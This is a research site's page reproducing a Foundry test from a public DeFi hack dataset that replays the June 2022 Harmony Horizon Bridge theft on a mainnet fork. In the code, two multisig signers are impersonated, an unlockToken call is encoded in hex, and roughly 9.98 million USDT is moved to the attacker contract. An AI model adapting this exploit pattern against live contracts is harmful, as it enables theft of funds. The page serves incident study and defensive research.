Skip to content
THREATWIRE

Public reproduction file

src/test/2022-06/Harmony_multisig_exp.sol

Public reproduction file for dataset entry Harmony's Horizon Bridge.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-06/Harmony_multisig_exp.sol52 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9 IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
10 MultiSig MultiSigWallet = MultiSig(payable(0x715CdDa5e9Ad30A0cEd14940F9997EE611496De6));
12 address[] public owner;
14 function setUp() public {
15 cheat.createSelectFork("mainnet", 15_012_645); //fork mainnet at block 15012645
16 }
18 function testExploit() public {
19 emit log_named_uint("USDT balance of attacker before Exploit", usdt.balanceOf(address(this)));
20 // Mulsig Case of compromised private key.
21 emit log_named_uint("How many approval required:", MultiSigWallet.required());
22 cheat.prank(0xf845A7ee8477AD1FB4446651E548901a2635A915);
23 // TxHash: https://etherscan.io/tx/0x27981c7289c372e601c9475e5b5466310be18ed10b59d1ac840145f6e7804c97
24 bytes memory msgP1 =
25 hex"fe7f61ea000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000913e1f5a200000000000000000000000000";
26 bytes memory recipient = abi.encodePacked(address(this));
27 bytes memory receiptId = hex"d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6";
28 bytes memory _message = bytes.concat(msgP1, recipient, receiptId);
29 uint256 txId = MultiSigWallet.submitTransaction(
30 0x2dCCDB493827E15a5dC8f8b72147E6c4A5620857, // destination
31 0, // value
32 _message
33 );
34 // unlockToken(address,uint256,address,bytes32)
35 // ethToken: dac17f958d2ee523a2206206994597c13d831ec7
36 // amount: 9981000000000
37 // recipient: b4c79dab8f259c7aee6e5b2aa729821864227e84
38 // receiptId: d48d952695ede26c0ac11a6028ab1be6059e9d104b55208931a84e99ef5479b6
40 emit log_named_address(
41 "2 of 5 multisig wallet, transaction first signed by:", MultiSigWallet.getConfirmations(txId)[0]
42 );
43 cheat.prank(0x812d8622C6F3c45959439e7ede3C580dA06f8f25);
44 MultiSigWallet.confirmTransaction(txId); // Transfer 9,981,000 USDT to address(this)
45 emit log_named_address(
46 "2 of 5 multisig wallet, transaction second signed by:", MultiSigWallet.getConfirmations(txId)[1]
47 );
48 emit log_named_uint("USDT balance of attacker after Exploit", usdt.balanceOf(address(this)));
49 }
51 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Harmony's Horizon Bridge” (2022-06-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Harmony's Horizon Bridge
Path
src/test/2022-06/Harmony_multisig_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1bf89f9ce3b3cba94806f7f81c052cf75f645207
Language
Solidity
Size
53 lines
Date
2022-06-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-06/Harmony_multisig_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1bf89f9ce3b3cba94806f7f81c052cf75f645207, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.